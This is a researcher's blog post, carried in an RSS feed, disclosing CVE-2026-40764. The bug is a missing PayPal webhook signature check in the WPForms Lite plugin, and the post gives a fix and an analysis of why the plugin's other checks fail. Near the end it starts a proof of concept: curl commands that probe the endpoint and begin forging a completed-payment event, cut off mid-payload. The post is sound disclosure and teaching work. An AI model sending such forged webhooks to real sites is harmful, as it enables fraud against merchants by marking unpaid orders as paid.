<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>paypal on Himanshu Anand :: Threat Notes</title>
    <link>https://blog.himanshuanand.com/tags/paypal/</link>
    <description>Recent content in paypal on Himanshu Anand :: Threat Notes</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Mon, 11 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.himanshuanand.com/tags/paypal/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>10 people found my bug before me: the wpforms paypal webhook (cve-2026-40764)</title>
      <link>https://blog.himanshuanand.com/2026/05/10-people-found-my-bug-before-me-the-wpforms-paypal-webhook-cve-2026-40764/</link>
      <pubDate>Mon, 11 May 2026 00:00:00 +0000</pubDate>
      
      <guid>https://blog.himanshuanand.com/2026/05/10-people-found-my-bug-before-me-the-wpforms-paypal-webhook-cve-2026-40764/</guid>
      <description>TLDR WPForms Lite is a WordPress form plugin with around 6 million active installs. Versions 1.10.0.1 through 1.10.0.4 ship a PayPal Commerce webhook handler that accepts events from anyone on the internet. No signature check. No shared secret. No callback to PayPal. Send a forged JSON body to /wp-json/wpforms/ppc/webhooks and you can flip any pending order from &amp;ldquo;processed&amp;rdquo; to &amp;ldquo;completed&amp;rdquo;, which fires every downstream action the site has set up: digital downloads, license key emails, membership grants, CRM integrations, custom hooks.</description>
      <content>&lt;h2 id=&#34;tldr&#34;&gt;TLDR&lt;/h2&gt;
&lt;p&gt;WPForms Lite is a WordPress form plugin with around 6 million active installs. Versions 1.10.0.1 through 1.10.0.4 ship a PayPal Commerce webhook handler that accepts events from anyone on the internet. No signature check. No shared secret. No callback to PayPal. Send a forged JSON body to &lt;code&gt;/wp-json/wpforms/ppc/webhooks&lt;/code&gt; and you can flip any pending order from &amp;ldquo;processed&amp;rdquo; to &amp;ldquo;completed&amp;rdquo;, which fires every downstream action the site has set up: digital downloads, license key emails, membership grants, CRM integrations, custom hooks. You can also send a &lt;code&gt;PAYMENT.CAPTURE.DENIED&lt;/code&gt; event for a real order and mark a paying customer as failed.&lt;/p&gt;
&lt;p&gt;The same plugin verifies Stripe and Square webhooks correctly. Only PayPal got the trust-by-default treatment. CVE-2026-40764. Reported by 11 of us in 6 weeks. I was reporter number 11.&lt;/p&gt;
&lt;h2 id=&#34;where-this-post-fits&#34;&gt;where this post fits&lt;/h2&gt;
&lt;p&gt;If you read &lt;a href=&#34;https://blog.himanshuanand.com/2026/05/the-90-day-disclosure-policy-is-dead/&#34;&gt;my last post on the death of the 90 day disclosure policy&lt;/a&gt;, you saw story 1: I found a bug, sent it in, the triage team said &amp;ldquo;you are reporter eleven&amp;rdquo;. I left the technical details vague because the issue was not fixed at the time. The CVE has since been assigned and the vendor pushed a patch release. So now I can tell the full story. This is the &amp;ldquo;10 people found my bug before me&amp;rdquo; follow up I promised.&lt;/p&gt;
&lt;h2 id=&#34;the-story-the-one-i-hinted-at&#34;&gt;the story (the one I hinted at)&lt;/h2&gt;
&lt;p&gt;Late April 2026. I was poking at WordPress plugins, looking at payment integrations specifically. Payment code is interesting because the security cost of a bug is real money, the attack surface is usually public and the developers often glue together third party SDKs in ways that miss something important. WPForms is one of the biggest form plugins on WordPress so I figured the code would be well audited. It mostly is.&lt;/p&gt;
&lt;p&gt;Mostly.&lt;/p&gt;
&lt;p&gt;I opened the PayPal Commerce integration folder and grep&amp;rsquo;d for &lt;code&gt;permission_callback&lt;/code&gt;. That is the WordPress way of saying &amp;ldquo;who is allowed to hit this endpoint&amp;rdquo;. I was looking for the usual mistakes. Within about 90 seconds I had this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;register_rest_route&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;wpforms/ppc&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;/webhooks&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;methods&amp;#39;&lt;/span&gt;             &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;callback&amp;#39;&lt;/span&gt;            &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;dispatch_paypal_webhooks_payload&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;permission_callback&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;__return_true&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;   &lt;span class=&#34;c1&#34;&gt;// &amp;lt;- anyone
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;    &lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;__return_true&lt;/code&gt;. The endpoint is open to the world. Now this by itself is not a bug. Webhook endpoints have to be open. PayPal cannot log in to your WordPress site. The bug is what happens after the request lands.&lt;/p&gt;
&lt;p&gt;I followed the callback. The handler reads the raw body, parses JSON, checks the event type against a public allowlist and then hands the payload to the appropriate handler. Nowhere in that chain does it ever check the &lt;code&gt;Paypal-Transmission-Sig&lt;/code&gt; header. Nowhere does it call PayPal&amp;rsquo;s verify-webhook-signature endpoint. Nowhere does it do anything with the webhook ID that the plugin admin had carefully configured in settings.
I built a one liner curl command. I tested it on a local install. It worked first try. The order in my test database flipped from &lt;code&gt;processed&lt;/code&gt; to &lt;code&gt;completed&lt;/code&gt;. The &amp;ldquo;thank you for your payment&amp;rdquo; email fired. The configured Slack notification went out. The download link went live. Cool. I wrote it up. I sent it in. I felt good about myself for about 10 minutes.
Then the triage email came back. Yeah, they knew. First reported March 1st. I was reporter eleven.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/11_submittions.png&#34; alt=&#34;reporter 11 of 11&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;the moment you realize 10 other people beat you to the same bug. yes I screenshotted it. yes it stings. the previous post talked about this exact pattern, this is the bug behind that story.&lt;/em&gt;
I went back to the date math. The bug was sitting in production code that was already in 1.10.0.1 (released February). First report March 1st. Final patch in 1.10.0.3 (April). My report late April. Patches landed but the actual underlying issue is still present in 1.10.0.4 because the &amp;ldquo;fix&amp;rdquo; addressed the CSRF symptom and not the missing webhook signature verification root cause. So the bug is in some form alive in the latest stable as of writing.
That last bit deserves a paragraph of its own. Patchstack classified CVE-2026-40764 as &amp;ldquo;Cross Site Request Forgery&amp;rdquo;. Which is true in the loose sense that an attacker forges a request the server treats as legitimate. But the underlying primitive is missing webhook authentication, which is a different beast. CSRF lives on the assumption that the server trusts the browser session. Missing webhook auth lives on the assumption that the server trusts the network. The fixes look completely different. If the vendor treats it as a CSRF and ships a nonce or origin check, the nonce or origin check fires only on cross origin browser requests. An attacker hitting the endpoint with curl from a script does not care.
That is exactly what seems to have happened here. I will keep responsibly nudging on the verification side until it is properly addressed.&lt;/p&gt;
&lt;h2 id=&#34;quick-refresher-what-a-webhook-is-and-why-it-needs-a-signature&#34;&gt;quick refresher: what a webhook is and why it needs a signature&lt;/h2&gt;
&lt;p&gt;If you already write webhooks for a living, skip this section. If not, stay with me, because once you understand the model the bug becomes obvious.
A webhook is a callback over HTTP. Service A wants to tell Service B that something happened. Maybe PayPal wants to tell WordPress that a customer just paid. The naive way to do this would be for WordPress to keep asking PayPal &amp;ldquo;did anything new happen?&amp;rdquo; every few seconds. That is called polling and it is wasteful. The smarter way is for PayPal to call WordPress when something happens. That is a webhook.
The mechanics are simple. WordPress exposes a URL. PayPal makes an HTTP POST to that URL with a JSON body describing the event. WordPress reads the body, does something useful, returns 200 OK. Done.&lt;/p&gt;
&lt;p&gt;The problem: the URL has to be public. Public means anyone on the internet can reach it. So if WordPress just trusts whatever shows up at that URL, then anyone can pretend to be PayPal.&lt;/p&gt;
&lt;p&gt;Every webhook provider knows this. So every webhook provider gives you a way to verify the source. There are two common patterns.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HMAC signatures.&lt;/strong&gt; The provider has a secret shared with the receiver. When they send a webhook, they compute an HMAC of the body using that secret and put it in a header. The receiver recomputes the HMAC, compares the two, accepts the request only if they match. Stripe does this with the &lt;code&gt;Stripe-Signature&lt;/code&gt; header. Square does this with &lt;code&gt;X-Square-HmacSha256-Signature&lt;/code&gt;. This pattern is fast, stateless and well understood.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Public key signatures.&lt;/strong&gt; The provider signs the body with a private key. The signature, plus information about which certificate signed it, goes in headers. The receiver fetches the public certificate and verifies the signature cryptographically. PayPal uses this pattern with &lt;code&gt;Paypal-Transmission-Sig&lt;/code&gt;, &lt;code&gt;Paypal-Cert-Url&lt;/code&gt;, &lt;code&gt;Paypal-Transmission-Id&lt;/code&gt;, &lt;code&gt;Paypal-Transmission-Time&lt;/code&gt; and &lt;code&gt;Paypal-Auth-Algo&lt;/code&gt; headers. The receiver also has the option to call PayPal&amp;rsquo;s &lt;code&gt;/v1/notifications/verify-webhook-signature&lt;/code&gt; endpoint and let PayPal do the validation server side.&lt;/p&gt;
&lt;p&gt;Either pattern, the rule is the same: if you do not verify, you do not trust. A webhook handler that does not verify is just a public API endpoint that mutates payment state. That is what we have here.&lt;/p&gt;
&lt;p&gt;Here is the asymmetry in one picture.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;================================================================
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  HOW IT SHOULD WORK (stripe, square, properly built webhooks)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;================================================================
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  [Anyone]    --POST body, no signature--&amp;gt;   [Server]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 |
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 v
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            verify signature?  FAIL
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 |
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 v
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            403, no DB change
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  [PayPal]    --POST body + signature--&amp;gt;     [Server]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 |
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 v
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            verify signature?  PASS
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 |
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 v
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            update DB, fire hooks
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;================================================================
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  HOW WPFORMS DOES IT (paypal commerce integration only)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;================================================================
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  [Anyone]    --POST forged JSON--&amp;gt;          [Server]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 |
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 v
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            json_decode( body )
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            check event_type (public allowlist)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            check status   (attacker controlled)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            check amount   (public on the form)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 |
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                                 v
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            update DB, fire hooks
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                                            &amp;#34;money moves&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The top block is how every webhook in the world is supposed to work. The bottom block is what the WPForms PayPal handler actually does. The server cannot tell &lt;code&gt;[Anyone]&lt;/code&gt; apart from &lt;code&gt;[PayPal]&lt;/code&gt; because it never looks at the signature header. The &amp;ldquo;checks&amp;rdquo; it does perform are all things the attacker controls or can read from the public form.&lt;/p&gt;
&lt;h2 id=&#34;the-wpforms-paypal-webhook-in-one-paragraph&#34;&gt;the wpforms paypal webhook in one paragraph&lt;/h2&gt;
&lt;p&gt;The WPForms PayPal Commerce integration registers a REST route at &lt;code&gt;/wp-json/wpforms/ppc/webhooks&lt;/code&gt; with &lt;code&gt;permission_callback =&amp;gt; &#39;__return_true&#39;&lt;/code&gt;. The same handler is reachable via a fallback URL parameter at &lt;code&gt;/?wpforms_paypal_commerce_webhooks=1&lt;/code&gt;, so even sites that disable the WP REST API are still exposed. The handler reads the request body, JSON decodes it, checks the event type against a public allowlist and dispatches to a per-event-type handler. The &lt;code&gt;PAYMENT.CAPTURE.COMPLETED&lt;/code&gt; handler flips the matching row in &lt;code&gt;wp_wpforms_payments&lt;/code&gt; from &lt;code&gt;processed&lt;/code&gt; to &lt;code&gt;completed&lt;/code&gt; and fires every downstream &amp;ldquo;on completed payment&amp;rdquo; action. None of the verification steps PayPal documents for webhooks are performed.&lt;/p&gt;
&lt;h2 id=&#34;the-missing-check-the-whole-bug-in-6-lines&#34;&gt;the missing check (the whole bug in 6 lines)&lt;/h2&gt;
&lt;p&gt;Here is the diff that would have prevented this. Six lines.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$expected&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_SERVER&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;HTTP_PAYPAL_TRANSMISSION_SIG&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;??&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$webhook_id&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;wpforms_setting&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;paypal-commerce-webhooks-id-&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;.&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$mode&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;verify_with_paypal&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$expected&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$this&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;payload&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$webhook_id&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;WP_REST_Response&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;error&amp;#39;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;invalid signature&amp;#39;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;403&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That is the whole bug. The absence of those six lines is what makes the endpoint exploitable. Everything else in the report, every check, every state transition, every downstream side effect, all of it follows from &amp;ldquo;we trust the network&amp;rdquo;.&lt;/p&gt;
&lt;h2 id=&#34;the-four-placebo-checks-that-do-not-save-you&#34;&gt;the four placebo checks that do not save you&lt;/h2&gt;
&lt;p&gt;When I sent the report, I expected the response to argue back. Vendors usually do. They usually point at some check in the code path and say &amp;ldquo;see, we do validate, the attacker cannot just forge anything&amp;rdquo;. WPForms has four such checks. None of them help.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Where&lt;/th&gt;
&lt;th&gt;Why it does not stop an attacker&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;event_type&lt;/code&gt; allowlist&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WebhookRoute.php:188&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The allowlist values are hardcoded in &lt;code&gt;get_event_whitelist()&lt;/code&gt;. Anyone can read them. The attacker picks &lt;code&gt;PAYMENT.CAPTURE.COMPLETED&lt;/code&gt; and moves on.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;db_payment-&amp;gt;status === &#39;processed&#39;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PaymentCaptureCompleted.php:34&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This is the natural pending state of any payment that has not completed yet. Every abandoned or in flight checkout creates one. The attacker just needs one pending payment to exist, which is the default situation for any active shop.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$this-&amp;gt;data-&amp;gt;status === &#39;COMPLETED&#39;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PaymentCaptureCompleted.php:34&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This compares against the JSON body, which the attacker controls. Putting &lt;code&gt;&amp;quot;status&amp;quot;: &amp;quot;COMPLETED&amp;quot;&lt;/code&gt; in the payload satisfies the check.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$amount === $db_amount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PaymentCaptureCompleted.php:41&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The amount is the form&amp;rsquo;s payment total, which is public on the form. The attacker reads it from the form and echoes it back in the forged payload.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These checks restrict which payment row the attacker can target. They do not check whether the request actually came from PayPal. That is the whole point of webhook signature verification. The first four checks ask &amp;ldquo;is this request valid in shape&amp;rdquo;. The missing fifth check asks &amp;ldquo;is this request actually from PayPal&amp;rdquo;. The first four checks have nothing to say about that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.himanshuanand.com/images/airport.png&#34; alt=&#34;security theater meme: airport screening but they only check your ticket spelling&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;if you have to spell PAYMENT.CAPTURE.COMPLETED correctly to forge a payment, that is not security. that is a spell check.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;There is a subtle one I want to call out separately because it makes the impact worse. Inside the webhook dispatcher base class, &lt;code&gt;Base.php:65&lt;/code&gt; forces the &lt;code&gt;wpforms_current_user_can&lt;/code&gt; filter to &lt;code&gt;__return_true&lt;/code&gt; for the duration of the webhook processing. The intent makes sense: webhooks run without a user context so any capability checks in downstream code would block legitimate webhooks. The side effect is that during a forged webhook, downstream code that would normally fail a permission check now sails right through. The forged event runs with effective admin trust.&lt;/p&gt;
&lt;h2 id=&#34;proof-of-concept&#34;&gt;proof of concept&lt;/h2&gt;
&lt;p&gt;The exploit is one curl command. Replace &lt;code&gt;TARGET&lt;/code&gt;, &lt;code&gt;&amp;lt;PAYPAL_CAPTURE_ID&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;AMOUNT&amp;gt;&lt;/code&gt; with values for the target payment.&lt;/p&gt;
&lt;p&gt;Step 1: confirm the endpoint is open.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;curl -i &lt;span class=&#34;s1&#34;&gt;&amp;#39;https://TARGET/wp-json/wpforms/ppc/webhooks?verify=1&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you get &lt;code&gt;HTTP/1.1 200 OK&lt;/code&gt; with body &lt;code&gt;{&amp;quot;success&amp;quot;:true,&amp;quot;data&amp;quot;:null}&lt;/code&gt;, the route is registered with no permission gate. Good. We are live.&lt;/p&gt;
&lt;p&gt;Step 2: forge a completed payment.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;curl -i -X POST &lt;span class=&#34;s1&#34;&gt;&amp;#39;https://TARGET/wp-json/wpforms/ppc/webhooks&amp;#39;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  -H &lt;span class=&#34;s1&#34;&gt;&amp;#39;Content-Type: application/json&amp;#39;&lt;/span&gt; &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;  --data-raw &lt;span class=&#34;s1&#34;&gt;&amp;#39;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    &amp;#34;event_type&amp;#34;: &amp;#34;PAYMENT.CAPTURE.COMPLETED&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s1&#34;&gt;    &amp;#34;resource&amp;#34;: {
